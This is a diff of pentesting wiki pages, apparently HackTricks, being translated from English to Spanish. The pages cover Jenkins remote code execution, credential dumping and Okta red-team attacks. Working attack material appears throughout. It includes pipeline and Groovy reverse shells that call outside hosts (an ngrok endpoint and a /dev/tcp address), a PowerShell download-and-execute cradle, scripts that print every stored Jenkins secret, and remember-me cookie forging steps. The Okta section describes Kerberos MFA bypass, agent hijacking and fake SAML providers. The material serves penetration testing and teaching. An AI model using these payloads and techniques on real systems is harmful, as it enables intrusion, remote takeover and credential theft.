-Credentials can be **scoped to global providers** (`/credentials/`) that can be accessed by any project configured, or can be scoped to **specific projects** (`/job//configure`) and therefore only accessible from the specific project. +Las credenciales pueden ser **alcanzadas por proveedores globales** (`/credentials/`) que pueden ser accedidos por cualquier proyecto configurado, o pueden ser limitadas a **proyectos específicos** (`/job//configure`) y, por lo tanto, solo accesibles desde el proyecto específico. -According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Credentials that are in scope are made available to the pipeline without limitation. To **prevent accidental exposure in the build log**, credentials are **masked** from regular output, so an invocation of `env` (Linux) or `set` (Windows), or programs printing their environment or parameters would **not reveal them in the build log** to users who would not otherwise have access to the credentials. +Según [**la documentación**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Las credenciales que están en alcance están disponibles para la pipeline sin limitaciones. Para **prevenir la exposición accidental en el registro de construcción**, las credenciales son **enmascaradas** de la salida regular, por lo que una invocación de `env` (Linux) o `set` (Windows), o programas que imprimen su entorno o parámetros **no las revelaría en el registro de construcción** a usuarios que de otro modo no tendrían acceso a las credenciales. -**That is why in order to exfiltrate the credentials an attacker needs to, for example, base64 them.** +**Por eso, para exfiltrar las credenciales, un atacante necesita, por ejemplo, codificarlas en base64.** -## References +## Referencias - [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/) - [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/) @@ -92,7 +92,3 @@ According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-m - [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md index 9d2b232e1..829462d04 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md @@ -2,108 +2,104 @@ {{#include ../../banners/hacktricks-training.md}} -In this blog post is possible to find a great way to transform a Local File Inclusion vulnerability in Jenkins into RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/) +En esta publicación de blog es posible encontrar una gran manera de transformar una vulnerabilidad de Inclusión de Archivos Local en Jenkins en RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/) -This is an AI created summary of the part of the post were the creaft of an arbitrary cookie is abused to get RCE abusing a local file read until I have time to create a summary on my own: +Este es un resumen creado por IA de la parte de la publicación donde se abusa de la creación de una cookie arbitraria para obtener RCE abusando de una lectura de archivos locales hasta que tenga tiempo para crear un resumen por mi cuenta: -### Attack Prerequisites +### Requisitos Previos del Ataque -- **Feature Requirement:** "Remember me" must be enabled (default setting). -- **Access Levels:** Attacker needs Overall/Read permissions. -- **Secret Access:** Ability to read both binary and textual content from key files. +- **Requisito de Función:** "Recuerdame" debe estar habilitado (configuración predeterminada). +- **Niveles de Acceso:** El atacante necesita permisos de Lectura/General. +- **Acceso Secreto:** Capacidad para leer tanto contenido binario como textual de archivos clave. -### Detailed Exploitation Process +### Proceso de Explotación Detallado -#### Step 1: Data Collection +#### Paso 1: Recolección de Datos -**User Information Retrieval** +**Recuperación de Información del Usuario** -- Access user configuration and secrets from `$JENKINS_HOME/users/*.xml` for each user to gather: - - **Username** - - **User seed** - - **Timestamp** - - **Password hash** +- Acceder a la configuración del usuario y secretos desde `$JENKINS_HOME/users/*.xml` para cada usuario para recopilar: +- **Nombre de Usuario** +- **Semilla del Usuario** +- **Marca de Tiempo** +- **Hash de Contraseña** -**Secret Key Extraction** +**Extracción de Claves Secretas** -- Extract cryptographic keys used for signing the cookie: - - **Secret Key:** `$JENKINS_HOME/secret.key` - - **Master Key:** `$JENKINS_HOME/secrets/master.key` - - **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac` +- Extraer claves criptográficas utilizadas para firmar la cookie: +- **Clave Secreta:** `$JENKINS_HOME/secret.key` +- **Clave Maestra:** `$JENKINS_HOME/secrets/master.key` +- **Archivo de Clave MAC:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac` -#### Step 2: Cookie Forging +#### Paso 2: Falsificación de Cookies -**Token Preparation** +**Preparación del Token** -- **Calculate Token Expiry Time:** +- **Calcular Tiempo de Expiración del Token:** - ```javascript - tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Adds one hour to current time - ``` +```javascript +tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Agrega una hora al tiempo actual +``` -- **Concatenate Data for Token:** +- **Concatenar Datos para el Token:** - ```javascript - token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey - ``` +```javascript +token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey +``` -**MAC Key Decryption** +**Desencriptación de la Clave MAC** -- **Decrypt MAC Key File:** +- **Desencriptar Archivo de Clave MAC:** - ```javascript - key = toAes128Key(masterKey) // Convert master key to AES128 key format - decrypted = AES.decrypt(macFile, key) // Decrypt the .mac file - if not decrypted.hasSuffix("::::MAGIC::::") - return ERROR; - macKey = decrypted.withoutSuffix("::::MAGIC::::") - ``` +```javascript +key = toAes128Key(masterKey) // Convertir clave maestra a formato de clave AES128 +decrypted = AES.decrypt(macFile, key) // Desencriptar el archivo .mac +if not decrypted.hasSuffix("::::MAGIC::::") +return ERROR; +macKey = decrypted.withoutSuffix("::::MAGIC::::") +``` -**Signature Computation** +**Cálculo de la Firma** -- **Compute HMAC SHA256:** +- **Calcular HMAC SHA256:** - ```javascript - mac = HmacSHA256(token, macKey) // Compute HMAC using the token and MAC key - tokenSignature = bytesToHexString(mac) // Convert the MAC to a hexadecimal string - ``` +```javascript +mac = HmacSHA256(token, macKey) // Calcular HMAC usando el token y la clave MAC +tokenSignature = bytesToHexString(mac) // Convertir el MAC a una cadena hexadecimal +``` -**Cookie Encoding** +**Codificación de la Cookie** -- **Generate Final Cookie:** +- **Generar Cookie Final:** - ```javascript - cookie = base64.encode( - username + ":" + tokenExpiryTime + ":" + tokenSignature - ) // Base64 encode the cookie data - ``` +```javascript +cookie = base64.encode( +username + ":" + tokenExpiryTime + ":" + tokenSignature +) // Codificar en Base64 los datos de la cookie +``` -#### Step 3: Code Execution +#### Paso 3: Ejecución de Código -**Session Authentication** +**Autenticación de Sesión** -- **Fetch CSRF and Session Tokens:** - - Make a request to `/crumbIssuer/api/json` to obtain `Jenkins-Crumb`. - - Capture `JSESSIONID` from the response, which will be used in conjunction with the remember-me cookie. +- **Obtener Tokens CSRF y de Sesión:** +- Hacer una solicitud a `/crumbIssuer/api/json` para obtener `Jenkins-Crumb`. +- Capturar `JSESSIONID` de la respuesta, que se utilizará junto con la cookie de "recuerdame". -**Command Execution Request** +**Solicitud de Ejecución de Comando** -- **Send a POST Request with Groovy Script:** +- **Enviar una Solicitud POST con Script Groovy:** - ```bash - curl -X POST "$JENKINS_URL/scriptText" \ - --cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \ - --header "Jenkins-Crumb: $CRUMB" \ - --header "Content-Type: application/x-www-form-urlencoded" \ - --data-urlencode "script=$SCRIPT" - ``` +```bash +curl -X POST "$JENKINS_URL/scriptText" \ +--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \ +--header "Jenkins-Crumb: $CRUMB" \ +--header "Content-Type: application/x-www-form-urlencoded" \ +--data-urlencode "script=$SCRIPT" +``` - - Groovy script can be used to execute system-level commands or other operations within the Jenkins environment. +- El script Groovy se puede utilizar para ejecutar comandos a nivel de sistema u otras operaciones dentro del entorno de Jenkins. -The example curl command provided demonstrates how to make a request to Jenkins with the necessary headers and cookies to execute arbitrary code securely. +El comando curl de ejemplo proporcionado demuestra cómo hacer una solicitud a Jenkins con los encabezados y cookies necesarios para ejecutar código arbitrario de manera segura. {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md index 8699b8159..216d1bf78 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md @@ -3,10 +3,9 @@ {{#include ../../banners/hacktricks-training.md}} > [!WARNING] -> Note that these scripts will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**. - -You can **dump all the secrets from the Groovy Script console** in `/script` running this code +> Tenga en cuenta que estos scripts solo enumerarán los secretos dentro del archivo `credentials.xml`, pero **los archivos de configuración de compilación** también pueden tener **más credenciales**. +Puede **volcar todos los secretos desde la consola de scripts de Groovy** en `/script` ejecutando este código ```java // From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/ import jenkins.model.* @@ -42,52 +41,45 @@ showRow("something else", it.id, '', '', '') return ``` - -#### or this one: - +#### o este: ```java import java.nio.charset.StandardCharsets; def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials( - com.cloudbees.plugins.credentials.Credentials.class +com.cloudbees.plugins.credentials.Credentials.class ) for (c in creds) { - println(c.id) - if (c.properties.description) { - println(" description: " + c.description) - } - if (c.properties.username) { - println(" username: " + c.username) - } - if (c.properties.password) { - println(" password: " + c.password) - } - if (c.properties.passphrase) { - println(" passphrase: " + c.passphrase) - } - if (c.properties.secret) { - println(" secret: " + c.secret) - } - if (c.properties.secretBytes) { - println(" secretBytes: ") - println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8)) - println("") - } - if (c.properties.privateKeySource) { - println(" privateKey: " + c.getPrivateKey()) - } - if (c.properties.apiToken) { - println(" apiToken: " + c.apiToken) - } - if (c.properties.token) { - println(" token: " + c.token) - } - println("") +println(c.id) +if (c.properties.description) { +println(" description: " + c.description) +} +if (c.properties.username) { +println(" username: " + c.username) +} +if (c.properties.password) { +println(" password: " + c.password) +} +if (c.properties.passphrase) { +println(" passphrase: " + c.passphrase) +} +if (c.properties.secret) { +println(" secret: " + c.secret) +} +if (c.properties.secretBytes) { +println(" secretBytes: ") +println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8)) +println("") +} +if (c.properties.privateKeySource) { +println(" privateKey: " + c.getPrivateKey()) +} +if (c.properties.apiToken) { +println(" apiToken: " + c.apiToken) +} +if (c.properties.token) { +println(" token: " + c.token) +} +println("") } ``` - {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md index 89ca15223..de8bf6c97 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md @@ -1,43 +1,37 @@ -# Jenkins RCE Creating/Modifying Pipeline +# Jenkins RCE Creando/Modificando Pipeline {{#include ../../banners/hacktricks-training.md}} -## Creating a new Pipeline +## Creando un nuevo Pipeline -In "New Item" (accessible in `/view/all/newJob`) select **Pipeline:** +En "Nuevo Elemento" (accesible en `/view/all/newJob`) selecciona **Pipeline:** ![](<../../images/image (235).png>) -In the **Pipeline section** write the **reverse shell**: +En la **sección Pipeline** escribe el **reverse shell**: ![](<../../images/image (285).png>) - ```groovy pipeline { - agent any +agent any - stages { - stage('Hello') { - steps { - sh ''' - curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh - ''' - } - } - } +stages { +stage('Hello') { +steps { +sh ''' +curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh +''' +} +} +} } ``` - -Finally click on **Save**, and **Build Now** and the pipeline will be executed: +Finalmente, haz clic en **Guardar** y **Construir ahora** y el pipeline se ejecutará: ![](<../../images/image (228).png>) -## Modifying a Pipeline +## Modificando un Pipeline -If you can access the configuration file of some pipeline configured you could just **modify it appending your reverse shell** and then execute it or wait until it gets executed. +Si puedes acceder al archivo de configuración de algún pipeline configurado, podrías **modificarlo añadiendo tu reverse shell** y luego ejecutarlo o esperar a que se ejecute. {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md index f16096070..7f7562847 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md @@ -1,40 +1,36 @@ -# Jenkins RCE Creating/Modifying Project +# Jenkins RCE Creando/Modificando Proyecto {{#include ../../banners/hacktricks-training.md}} -## Creating a Project +## Creando un Proyecto -This method is very noisy because you have to create a hole new project (obviously this will only work if you user is allowed to create a new project). +Este método es muy ruidoso porque tienes que crear un proyecto completamente nuevo (obviamente esto solo funcionará si el usuario tiene permiso para crear un nuevo proyecto). -1. **Create a new project** (Freestyle project) clicking "New Item" or in `/view/all/newJob` -2. Inside **Build** section set **Execute shell** and paste a powershell Empire launcher or a meterpreter powershell (can be obtained using _unicorn_). Start the payload with _PowerShell.exe_ instead using _powershell._ -3. Click **Build now** - 1. If **Build now** button doesn't appear, you can still go to **configure** --> **Build Triggers** --> `Build periodically` and set a cron of `* * * * *` - 2. Instead of using cron, you can use the config "**Trigger builds remotely**" where you just need to set a the api token name to trigger the job. Then go to your user profile and **generate an API token** (call this API token as you called the api token to trigger the job). Finally, trigger the job with: **`curl :@/job//build?token=`** +1. **Crea un nuevo proyecto** (proyecto Freestyle) haciendo clic en "Nuevo Elemento" o en `/view/all/newJob` +2. Dentro de la sección **Construir**, establece **Ejecutar shell** y pega un lanzador de powershell Empire o un powershell de meterpreter (se puede obtener usando _unicorn_). Inicia la carga útil con _PowerShell.exe_ en lugar de usar _powershell._ +3. Haz clic en **Construir ahora** +1. Si el botón **Construir ahora** no aparece, aún puedes ir a **configurar** --> **Disparadores de Construcción** --> `Construir periódicamente` y establecer un cron de `* * * * *` +2. En lugar de usar cron, puedes usar la configuración "**Disparar construcciones de forma remota**" donde solo necesitas establecer el nombre del token de API para disparar el trabajo. Luego ve a tu perfil de usuario y **genera un token de API** (llama a este token de API como llamaste al token de API para disparar el trabajo). Finalmente, dispara el trabajo con: **`curl :@/job//build?token=`** ![](<../../images/image (165).png>) -## Modifying a Project +## Modificando un Proyecto -Go to the projects and check **if you can configure any** of them (look for the "Configure button"): +Ve a los proyectos y verifica **si puedes configurar alguno** de ellos (busca el "botón de Configurar"): ![](<../../images/image (265).png>) -If you **cannot** see any **configuration** **button** then you **cannot** **configure** it probably (but check all projects as you might be able to configure some of them and not others). +Si **no puedes** ver ningún **botón de configuración**, entonces **no puedes** **configurarlo** probablemente (pero revisa todos los proyectos ya que podrías ser capaz de configurar algunos de ellos y no otros). -Or **try to access to the path** `/job//configure` or `/me/my-views/view/all/job//configure` \_\_ in each project (example: `/job/Project0/configure` or `/me/my-views/view/all/job/Project0/configure`). +O **intenta acceder a la ruta** `/job//configure` o `/me/my-views/view/all/job//configure` \_\_ en cada proyecto (ejemplo: `/job/Project0/configure` o `/me/my-views/view/all/job/Project0/configure`). -## Execution +## Ejecución -If you are allowed to configure the project you can **make it execute commands when a build is successful**: +Si se te permite configurar el proyecto, puedes **hacer que ejecute comandos cuando una construcción sea exitosa**: ![](<../../images/image (98).png>) -Click on **Save** and **build** the project and your **command will be executed**.\ -If you are not executing a reverse shell but a simple command you can **see the output of the command inside the output of the build**. +Haz clic en **Guardar** y **construye** el proyecto y tu **comando será ejecutado**.\ +Si no estás ejecutando un shell inverso, sino un comando simple, puedes **ver la salida del comando dentro de la salida de la construcción**. {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md index 33821cc03..82a1c4646 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md @@ -1,27 +1,24 @@ -# Jenkins RCE with Groovy Script +# Jenkins RCE con Script Groovy {{#include ../../banners/hacktricks-training.md}} -## Jenkins RCE with Groovy Script +## Jenkins RCE con Script Groovy -This is less noisy than creating a new project in Jenkins - -1. Go to _path_jenkins/script_ -2. Inside the text box introduce the script +Esto es menos ruidoso que crear un nuevo proyecto en Jenkins +1. Ve a _path_jenkins/script_ +2. Dentro del cuadro de texto introduce el script ```python def process = "PowerShell.exe ".execute() println "Found text ${process.text}" ``` +Podrías ejecutar un comando usando: `cmd.exe /c dir` -You could execute a command using: `cmd.exe /c dir` +En **linux** puedes hacer: **`"ls /".execute().text`** -In **linux** you can do: **`"ls /".execute().text`** - -If you need to use _quotes_ and _single quotes_ inside the text. You can use _"""PAYLOAD"""_ (triple double quotes) to execute the payload. - -**Another useful groovy script** is (replace \[INSERT COMMAND]): +Si necesitas usar _comillas_ y _comillas simples_ dentro del texto. Puedes usar _"""PAYLOAD"""_ (tres comillas dobles) para ejecutar la carga útil. +**Otro script groovy útil** es (reemplaza \[INSERT COMMAND]): ```python def sout = new StringBuffer(), serr = new StringBuffer() def proc = '[INSERT COMMAND]'.execute() @@ -29,9 +26,7 @@ proc.consumeProcessOutput(sout, serr) proc.waitForOrKill(1000) println "out> $sout err> $serr" ``` - -### Reverse shell in linux - +### Shell inversa en Linux ```python def sout = new StringBuffer(), serr = new StringBuffer() def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute() @@ -39,29 +34,20 @@ proc.consumeProcessOutput(sout, serr) proc.waitForOrKill(1000) println "out> $sout err> $serr" ``` +### Reverse shell en Windows -### Reverse shell in windows - -You can prepare a HTTP server with a PS reverse shell and use Jeking to download and execute it: - +Puedes preparar un servidor HTTP con un PS reverse shell y usar Jeking para descargarlo y ejecutarlo: ```python scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')" echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0 cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc ``` - ### Script -You can automate this process with [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py). - -You can use MSF to get a reverse shell: +Puedes automatizar este proceso con [**este script**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py). +Puedes usar MSF para obtener un shell reverso: ``` msf> use exploit/multi/http/jenkins_script_console ``` - {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/okta-security/README.md b/src/pentesting-ci-cd/okta-security/README.md index e682996c2..554761587 100644 --- a/src/pentesting-ci-cd/okta-security/README.md +++ b/src/pentesting-ci-cd/okta-security/README.md @@ -4,103 +4,103 @@ ## Basic Information -[Okta, Inc.](https://www.okta.com/) is recognized in the identity and access management sector for its cloud-based software solutions. These solutions are designed to streamline and secure user authentication across various modern applications. They cater not only to companies aiming to safeguard their sensitive data but also to developers interested in integrating identity controls into applications, web services, and devices. +[Okta, Inc.](https://www.okta.com/) es reconocida en el sector de gestión de identidad y acceso por sus soluciones de software basadas en la nube. Estas soluciones están diseñadas para agilizar y asegurar la autenticación de usuarios en diversas aplicaciones modernas. Atienden no solo a empresas que buscan proteger sus datos sensibles, sino también a desarrolladores interesados en integrar controles de identidad en aplicaciones, servicios web y dispositivos. -The flagship offering from Okta is the **Okta Identity Cloud**. This platform encompasses a suite of products, including but not limited to: +La oferta principal de Okta es la **Okta Identity Cloud**. Esta plataforma abarca un conjunto de productos, incluyendo, pero no limitado a: -- **Single Sign-On (SSO)**: Simplifies user access by allowing one set of login credentials across multiple applications. -- **Multi-Factor Authentication (MFA)**: Enhances security by requiring multiple forms of verification. -- **Lifecycle Management**: Automates user account creation, update, and deactivation processes. -- **Universal Directory**: Enables centralized management of users, groups, and devices. -- **API Access Management**: Secures and manages access to APIs. +- **Single Sign-On (SSO)**: Simplifica el acceso del usuario al permitir un conjunto de credenciales de inicio de sesión en múltiples aplicaciones. +- **Multi-Factor Authentication (MFA)**: Mejora la seguridad al requerir múltiples formas de verificación. +- **Lifecycle Management**: Automatiza la creación, actualización y desactivación de cuentas de usuario. +- **Universal Directory**: Permite la gestión centralizada de usuarios, grupos y dispositivos. +- **API Access Management**: Asegura y gestiona el acceso a APIs. -These services collectively aim to fortify data protection and streamline user access, enhancing both security and convenience. The versatility of Okta's solutions makes them a popular choice across various industries, beneficial to large enterprises, small companies, and individual developers alike. As of the last update in September 2021, Okta is acknowledged as a prominent entity in the Identity and Access Management (IAM) arena. +Estos servicios tienen como objetivo colectivo fortalecer la protección de datos y agilizar el acceso de los usuarios, mejorando tanto la seguridad como la conveniencia. La versatilidad de las soluciones de Okta las convierte en una opción popular en diversas industrias, beneficiando a grandes empresas, pequeñas compañías y desarrolladores individuales por igual. Hasta la última actualización en septiembre de 2021, Okta es reconocida como una entidad prominente en el ámbito de la Gestión de Identidad y Acceso (IAM). > [!CAUTION] -> The main gola of Okta is to configure access to different users and groups to external applications. If you manage to **compromise administrator privileges in an Oktas** environment, you will highly probably able to **compromise all the other platforms the company is using**. +> El objetivo principal de Okta es configurar el acceso a diferentes usuarios y grupos a aplicaciones externas. Si logras **comprometer privilegios de administrador en un entorno de Okta**, es muy probable que puedas **comprometer todas las demás plataformas que la empresa está utilizando**. > [!TIP] -> To perform a security review of an Okta environment you should ask for **administrator read-only access**. +> Para realizar una revisión de seguridad de un entorno de Okta, deberías solicitar **acceso de solo lectura de administrador**. ### Summary -There are **users** (which can be **stored in Okta,** logged from configured **Identity Providers** or authenticated via **Active Directory** or LDAP).\ -These users can be inside **groups**.\ -There are also **authenticators**: different options to authenticate like password, and several 2FA like WebAuthn, email, phone, okta verify (they could be enabled or disabled)... +Hay **usuarios** (que pueden ser **almacenados en Okta,** registrados desde **Proveedores de Identidad** configurados o autenticados a través de **Active Directory** o LDAP).\ +Estos usuarios pueden estar dentro de **grupos**.\ +También hay **autenticadores**: diferentes opciones para autenticar como contraseña, y varios 2FA como WebAuthn, correo electrónico, teléfono, okta verify (pueden estar habilitados o deshabilitados)... -Then, there are **applications** synchronized with Okta. Each applications will have some **mapping with Okta** to share information (such as email addresses, first names...). Moreover, each application must be inside an **Authentication Policy**, which indicates the **needed authenticators** for a user to **access** the application. +Luego, hay **aplicaciones** sincronizadas con Okta. Cada aplicación tendrá algún **mapeo con Okta** para compartir información (como direcciones de correo electrónico, nombres...). Además, cada aplicación debe estar dentro de una **Política de Autenticación**, que indica los **autenticadores necesarios** para que un usuario **acceda** a la aplicación. > [!CAUTION] -> The most powerful role is **Super Administrator**. +> El rol más poderoso es **Super Administrador**. > -> If an attacker compromise Okta with Administrator access, all the **apps trusting Okta** will be highly probably **compromised**. +> Si un atacante compromete Okta con acceso de Administrador, todas las **aplicaciones que confían en Okta** serán muy probablemente **comprometidas**. ## Attacks ### Locating Okta Portal -Usually the portal of a company will be located in **companyname.okta.com**. If not, try simple **variations** of **companyname.** If you cannot find it, it's also possible that the organization has a **CNAME** record like **`okta.companyname.com`** pointing to the **Okta portal**. +Usualmente el portal de una empresa estará ubicado en **companyname.okta.com**. Si no, prueba variaciones simples de **companyname.** Si no puedes encontrarlo, también es posible que la organización tenga un registro **CNAME** como **`okta.companyname.com`** apuntando al **portal de Okta**. ### Login in Okta via Kerberos -If **`companyname.kerberos.okta.com`** is active, **Kerberos is used for Okta access**, typically bypassing **MFA** for **Windows** users. To find Kerberos-authenticated Okta users in AD, run **`getST.py`** with **appropriate parameters**. Upon obtaining an **AD user ticket**, **inject** it into a controlled host using tools like Rubeus or Mimikatz, ensuring **`clientname.kerberos.okta.com` is in the Internet Options "Intranet" zone**. Accessing a specific URL should return a JSON "OK" response, indicating Kerberos ticket acceptance, and granting access to the Okta dashboard. +Si **`companyname.kerberos.okta.com`** está activo, **Kerberos se utiliza para el acceso a Okta**, eludiendo típicamente **MFA** para usuarios de **Windows**. Para encontrar usuarios de Okta autenticados por Kerberos en AD, ejecuta **`getST.py`** con **parámetros apropiados**. Al obtener un **ticket de usuario de AD**, **iníctalo** en un host controlado usando herramientas como Rubeus o Mimikatz, asegurando que **`clientname.kerberos.okta.com` esté en la zona "Intranet" de las Opciones de Internet**. Acceder a una URL específica debería devolver una respuesta JSON "OK", indicando la aceptación del ticket de Kerberos y otorgando acceso al panel de control de Okta. -Compromising the **Okta service account with the delegation SPN enables a Silver Ticket attack.** However, Okta's use of **AES** for ticket encryption requires possessing the AES key or plaintext password. Use **`ticketer.py` to generate a ticket for the victim user** and deliver it via the browser to authenticate with Okta. +Comprometer la **cuenta de servicio de Okta con el SPN de delegación habilita un ataque de Silver Ticket.** Sin embargo, el uso de **AES** por parte de Okta para la encriptación de tickets requiere poseer la clave AES o la contraseña en texto plano. Usa **`ticketer.py` para generar un ticket para el usuario víctima** y entregarlo a través del navegador para autenticarte con Okta. -**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** +**Consulta el ataque en** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** ### Hijacking Okta AD Agent -This technique involves **accessing the Okta AD Agent on a server**, which **syncs users and handles authentication**. By examining and decrypting configurations in **`OktaAgentService.exe.config`**, notably the AgentToken using **DPAPI**, an attacker can potentially **intercept and manipulate authentication data**. This allows not only **monitoring** and **capturing user credentials** in plaintext during the Okta authentication process but also **responding to authentication attempts**, thereby enabling unauthorized access or providing universal authentication through Okta (akin to a 'skeleton key'). +Esta técnica implica **acceder al Agente AD de Okta en un servidor**, que **sincroniza usuarios y maneja la autenticación**. Al examinar y desencriptar configuraciones en **`OktaAgentService.exe.config`**, notablemente el AgentToken usando **DPAPI**, un atacante puede potencialmente **interceptar y manipular datos de autenticación**. Esto permite no solo **monitorear** y **capturar credenciales de usuario** en texto plano durante el proceso de autenticación de Okta, sino también **responder a intentos de autenticación**, permitiendo así el acceso no autorizado o proporcionando autenticación universal a través de Okta (similar a una 'llave maestra'). -**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** +**Consulta el ataque en** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** ### Hijacking AD As an Admin -This technique involves hijacking an Okta AD Agent by first obtaining an OAuth Code, then requesting an API token. The token is associated with an AD domain, and a **connector is named to establish a fake AD agent**. Initialization allows the agent to **process authentication attempts**, capturing credentials via the Okta API. Automation tools are available to streamline this process, offering a seamless method to intercept and handle authentication data within the Okta environment. +Esta técnica implica secuestrar un Agente AD de Okta obteniendo primero un Código OAuth, luego solicitando un token de API. El token está asociado con un dominio AD, y un **conector se nombra para establecer un agente AD falso**. La inicialización permite que el agente **procese intentos de autenticación**, capturando credenciales a través de la API de Okta. Hay herramientas de automatización disponibles para agilizar este proceso, ofreciendo un método fluido para interceptar y manejar datos de autenticación dentro del entorno de Okta. -**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** +**Consulta el ataque en** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** ### Okta Fake SAML Provider -**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** +**Consulta el ataque en** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** -The technique involves **deploying a fake SAML provider**. By integrating an external Identity Provider (IdP) within Okta's framework using a privileged account, attackers can **control the IdP, approving any authentication request at will**. The process entails setting up a SAML 2.0 IdP in Okta, manipulating the IdP Single Sign-On URL for redirection via local hosts file, generating a self-signed certificate, and configuring Okta settings to match against the username or email. Successfully executing these steps allows for authentication as any Okta user, bypassing the need for individual user credentials, significantly elevating access control in a potentially unnoticed manner. +La técnica implica **desplegar un proveedor SAML falso**. Al integrar un Proveedor de Identidad (IdP) externo dentro del marco de Okta usando una cuenta privilegiada, los atacantes pueden **controlar el IdP, aprobando cualquier solicitud de autenticación a voluntad**. El proceso implica configurar un IdP SAML 2.0 en Okta, manipulando la URL de inicio de sesión único del IdP para redirigir a través del archivo de hosts local, generando un certificado autofirmado y configurando los ajustes de Okta para que coincidan con el nombre de usuario o correo electrónico. Ejecutar con éxito estos pasos permite la autenticación como cualquier usuario de Okta, eludiendo la necesidad de credenciales individuales de usuario, elevando significativamente el control de acceso de manera potencialmente inadvertida. ### Phishing Okta Portal with Evilgnix -In [**this blog post**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) is explained how to prepare a phishing campaign against an Okta portal. +En [**este post del blog**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) se explica cómo preparar una campaña de phishing contra un portal de Okta. ### Colleague Impersonation Attack -The **attributes that each user can have and modify** (like email or first name) can be configured in Okta. If an **application** is **trusting** as ID an **attribute** 